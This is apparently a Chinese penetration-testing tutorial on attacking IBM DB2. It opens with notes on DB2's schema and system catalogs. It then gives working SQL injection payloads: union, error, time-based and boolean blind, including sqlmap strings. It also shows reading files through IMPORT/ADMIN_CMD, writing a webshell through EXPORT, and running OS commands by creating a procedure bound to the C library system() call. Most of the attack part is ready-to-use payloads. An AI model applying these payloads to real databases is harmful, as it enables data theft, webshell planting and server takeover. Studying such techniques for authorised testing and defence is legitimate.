攻击数据库之db2

环境

创建表

1
2
3
4
5
6
7
create table TEST(id varchar(200),USERNAME VARCHAR(200),PASSWORD VARCHAR(200))

INSERT INTO TEST VALUES ('ADMIN','ADMIN')
INSERT INTO TEST VALUES ('2','TEST','TEST')
INSERT INTO TEST VALUES ('3','sysop','123456')

select * from syscat.tables where TABNAME='TEST111'

数据库体系

系统–实例–数据库–schema–table

在 Oracle 中每个实例只能有一个数据库,而在 DB2 中多个数据库可以共享一个实例。(Oracle一个实例对应一个数据库)
1
database是一个connection的目标对象,也就是说用户发起一个DB2连接时,指的是连接到到一个database,而不是连接到一个instance,也不是连接到一个schema。
2

如果把database看作是一个仓库,仓库很多房间(schema),一个schema代表一个房间,table可以看作是每个房间中的储物柜,user是每个schema的主人,有操作数据库中每个房间的权利,就是说每个数据库映射user有每个schema(房间)的钥匙。

在没有操作别的schema的操作根权下,每个用户只能操作它自己的schema下的所有的表。

每一个DB2授权用户都有一个对应的schema,其名字和用户名相同;当然也可以再创建新的schema;这样DB2中user和schema是一种一对多的关系,而Oracle中是一对一的关系。

数据库架构和语法感觉类似sqlserver

查看当前存在的schema
3
SYSIBM: 基本系统编目
SYSCAT: 只读编目视图,一般通过这个来获取编目信息
SYSSTAT: 可更新编目视图,会影响优化器的优化策略
SYSFUN: 用户定义函数
SYSPROC: 存放一组系统的存储过程,下面用到的ADMIN_CMD存储过程就在这个里面
SYSIBMADM:一组动态性能视图,可以从该组视图中获取数据库的性能运行信息。

比如查看当前用户默认的schema和user
4

系统表

在创建db2数据库的时候,会创建一些系统表,这些表记录了所有数据库的对象(表、视图等),它们都在模式sysibm下面,并且均以sys开头,如systables、sysviews、sysindexes等,同时也为这些表建立了相应的视图,这些视图在模式syscat下面。

sysibm 系统数据字典表(基本表)
syscat 系统视图
sysibm.sysdummy1表相当于Oracle里的伪表。

  • syscat.columns
  • syscat.tables

每一行代表一张表,视图,别名或昵称

sysibm.systables:系统为每一个表,视图和别名在该表中创建一行记录。
sysibm.syscolumns:表中存放系统中所有表的数据列的描述信息,系统为db2里定义的每个表的每一行建立一条记录。

问题:
数据库的视图里有sysibm.tables和syscat.tables,这两个有什么区别?
sysibm.tables的表里面的信息比syscat.tables的少,或者说IBM认为你想知道的信息在sysibm.tables里面已经都可以知道了,这个应该是给用户使用的。syscat.tables应该是给系统使用的。

  • 查询所有表
    以前版本 select * from syscat.systables where Type = ‘T’

11.1 select * from syscat.tables where Type = ‘T’

  • 查询所有schema
    SELECT * FROM SYSIBM.SYSSCHEMA
    SELECT * FROM SYSIBM.SYSSCHEMATA

  • 查询用户和权限
    用户: select * from syscat.dbauth
    权限: select * from syscat.tabauth
    判断是否是dba权限
    SELECT (CASE WHEN ((SELECT dbadmauth FROM syscat.dbauth WHERE grantee=current user)=’Y’) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1

查找当前schema所有表
select TABLENAME from syscat.tables where TABSCHEMA=CURRENT SCHEMA

查看当前schema所有列
select * from sysibm.syscolumns WHERE TBNAME=’TEST111’

查找当前schema字段值
SELECT TABSCHEMA,TABNAME FROM SYSCAT.COLUMNS WHERE COLNAME=’COLNAME’

获取数据库用户名称
select distinct owner from syscat.tables where tabschema=current schema
自己搭的环境应该没有配置用户返回空
5

1
SELECT * FROM SYSCAT.COLUMNS WHERE TABNAME='TEST' AND TABSCHEMA='DB2ADMIN'

特性

  • DB2 数据库一旦创建就无法再修改字符集的编码方式。

  • windows和linux的区别

    1
    2
    3
    4
    DB2的所有用户都是操作系统用户,且用户密码也与操作系统中该用户的密码绑定。
    Linux下,安装DB2会创建db2inst1,db2fenc1和dasusr1三个用户。
    Windows下,会创建db2admin用户并将其添加到管理员组。
    本地操作系统用户并不全为DB2用户,需要在DB2管理功能中添加操作系统用户为数据库用户。
  • 关于权限
    6

get authorizations
https://blog.51cto.com/11310506/2090728
https://www.cnblogs.com/xiaojianblogs/p/6874299.html

select * from syscat.tabauth

当前用户权限get authorizations

  • 关于大小写
    DB2中表名是分大小写的

  • 关于limit
    使用 fetch first 10 rows only 限制返回的行数,DB2 i 7.1和7.2添加了对OFFSET和LIMIT的支持。

  • 关于union

    1. 联合查询需要跟一个表名
    2. 9.7版本前后差异

9.7版本之后可以直接用null(这里的null被认为是varchar类型)。
9.7版本之前可以写cast (null as int)或者null||’’,明确指定null的类型。
早期版本是强类型的必须指定null类型

1
例:select ID,USERNAME,PASSWORD from TEST111 where 1=1 union select cast(NULL as int) as A,cast(NULL as varchar(128)) as B,cast(NULL as varchar(128)) as C from test111
  • 注释 – /**/
  • 截取字符串 substr(‘abc’,2,1)
  • 字符串连接 ‘a’||’a’||’a’或’a’ concat ‘a’ concat ‘a’或concat(‘a’,’a’)
  • 字符串长度 length()
  • DB2不支持堆叠 tatement1; statement2
  • 常用函数
1
2
3
4
5
COALESCE()   返回第一个非空参数
CAST 类型转换函数 SELECT CAST(CURRENT TIME AS CHAR(8) ) FROM SYSIBM.SYSDUMMY1
CHAR() CHAR函数返回日期时间型、字符串、整数、十进制或双精度浮点数的字符串表示。
CHR() CHR函数返回由参数指定的ASCII码的字符,参数可以是INTEGER或SMALLINT。
substr('abc',2,1)
  • 条件语句 SELECT CASE WHEN (1=1) THEN ‘AA’ ELSE ‘BB’ END FROM sysibm.sysdummy1

db2信息收集

  • 端口50000
  1. 判断数据库

and (select count(versionnumber) from sysibm.sysversions)>0 返回正常

报错,类似+331 01520 -534 21502

  1. 判断数据库版本
    SELECT service_level FROM table(sysproc.env_get_inst_info()) as instanceinfo

  2. 获取用户权限

SELECT * FROM syscat.tabauth where grantee = current user

  1. 数据库所在主机相关信息

SELECT OS_FULL_VERSION FROM sysibmadm.env_sys_info

  1. 获取当前数据库

SELECT current server FROM sysibm.sysdummy1

  1. 获取当前用户

SELECT user FROM sysibm.sysdummy1
SELECT session_user FROM sysibm.sysdummy1
SELECT system_user FROM sysibm.sysdummy1

联合注入

  • union select null,null,null from sysibm.systables联合注入需要跟表名
  • 对应字段类型必须一样
  1. order by 判断字段数

  2. 联合查询判断当前schema

SELECT USERNAME,PASSWORD FROM TEST111 WHERE ID=1 UNION SELECT null,CURRENT SCHEMA FROM sysibm.sysdummy1
7

  1. 利用系统表爆表名

    1
    SELECT USERNAME,PASSWORD FROM TEST WHERE ID=1 UNION SELECT NULL,tabname from syscat.tables where tabschema=current schema

    8

  2. 爆列名

1
SELECT USERNAME,PASSWORD FROM TEST111 WHERE ID=1 UNION SELECT NULL,column_name from sysibm.columns where table_schema=current schema and table_name='TEST111' limit 0,2
  1. 爆字段值
1
SELECT USERNAME,PASSWORD FROM TEST111 WHERE ID=1 UNION SELECT NULL,PASSWORD FROM TEST111

无列名

1
select password from test where id = -1 union select b from (select null,null,null as b from test union select * from test)a

报错

group by id–会显示第二列名–枚举所有列
9
10

延时注入

使用笛卡尔积的方式通过大量运算造成延时

判断

1
AND 1=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS  T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 where 1=1)
1
and (SELECT count(*) FROM sysibm.columns t1, sysibm.columns t2, sysibm.columns t3)>0 and (SELECT ascii(substr(user,1,1)) FROM sysibm.sysdummy1)=68

user第一个字符的ASCII码为68将造成延时

sqlmap里的payload

1
2
3
4
5
1 AND 3230=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE 
(SUBSTR((SELECT COALESCE(RTRIM(CAST(schemaname AS CHAR(254))),CHR(32)) FROM (SELECT ROW_NUMBER() OVER () AS LIMIT,schemaname FROM syscat.schemata) AS qq WHERE LIMIT=1),4,1)>CHR(47)))

1 AND 8822=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE
(SUBSTR((SELECT COALESCE(RTRIM(CAST(schemaname AS CHAR(254))),CHR(32)) FROM (SELECT ROW_NUMBER() OVER () AS LIMIT,schemaname FROM syscat.schemata) AS qq WHERE LIMIT=1),4,1)>CHR(65)))

布尔注入

  1. 判断数据库类型
    (select count(versionnumber) from sysibm.sysversions)>0
  2. 获取当前数据库的用户
    and ascii(substr((select distinct owner from syscat.tables where tabschema=current schema),1,1))>0
  3. 获取当前数据库中数据表名
    and ascii(substr((select tabname from syscat.tables where tabschema=current schema limit 0,1),1,1))>0
  4. 获取当前数据库中数据字段名称
    and ascii(substr((select colname from syscat.columns where tabschema=current schema and tabname=’test111’ limit 0,1),1,1))>0
  5. 获取所有数据
    and ascii(substr((select username from users limit 0,1),1,1))>0

好像是不支持带外的

读写文件

DB2中的数据导入导出分别为:Import与Export
DEL:界定的ASCII文件,行分隔符与列分隔符将数据分开
ASC:定长的ASCII文件,行按照行分隔符分开,列定长
PC/IXF:只能用在DB2之间导数据,根据类型数字值被打包成十进制或者二进制,字符被保存为ASCII,只保存变量已经使用的长度,文件中包括表的定义和表的数据

  • 读文件
1
IMPORT FROM C:\Windows\win.ini OF DEL INSERT INTO CONTENT

db2 8.2.2以后的版本引入存储过程语法执行db2命令行命令,其schema为SYSPROC
需要权限sysadm、dbadmin,也就是至少是dba权限

ADMIN_CMD(‘whoami’)

1
CALL ADMIN_CMD('IMPORT FROM C:\Windows\win.ini OF DEL INSERT INTO CONTENT');
  • 写文件
    数据库的文件写到文件中

    1
    EXPORT TO result.csv OF DEL MODIFIED BY NOCHARDEL SELECT col1, col2, coln FROM testtable;

    远程连接数据库的用户可以先创建一个表(或对EXPORT命令涉及的表具有SELECT权限),然后调用ADMIN_CMD存储过程执行EXPORT命令向操作系统写文件

  • 写shell

    1
    CALL SYSPROC.ADMIN_CMD ('EXPORT TO C:\RESULT.TXT OF DEL MODIFIED BY NOCHARDEL SELECT ''webshell'' FROM 存在的表 FETCH FIRST 1 ROWS ONLY');

    11

ps:EXPORT向文件写入自定义字符串内容时SELECT的表中必须至少有一条记录否则写入内容为空

利用DB2执行操作系统命令

可利用DB2存储过程执行操作系统命令。创建一个可以执行操作系统命令的存储过程并调用,需要权限CREATE_NOT_FENCED开启

查询存储过程
db2 =>SELECT * FROM SYSCAT.PROCEDURES
db2 =>SELECT * FROM SYSibm.sysprocedures

windows:

1
2
3
4
5
6
7
CREATE PROCEDURE db2_cmd_exec (IN cmd varchar(200)) 
EXTERNAL NAME 'c:\windows\system32\msvcrt!system'
LANGUAGE C
DETERMINISTIC
PARAMETER STYLE DB2SQL

CALL db2_cmd_exec ('whoami /all > C:\whoami.log')

linux:

1
CREATE PROCEDURE db2_cmd_exec (IN cmd varchar(200)) EXTERNAL NAME '/usr/lib/libstdc++.so.6!system' LANGUAGE C DETERMINISTIC PARAMETER STYLE DB2SQL call db2_cmd_exec ('whoami > /tmp/whoami.log')

字符串操作函数 https://www.cnblogs.com/wangpei/p/3552783.html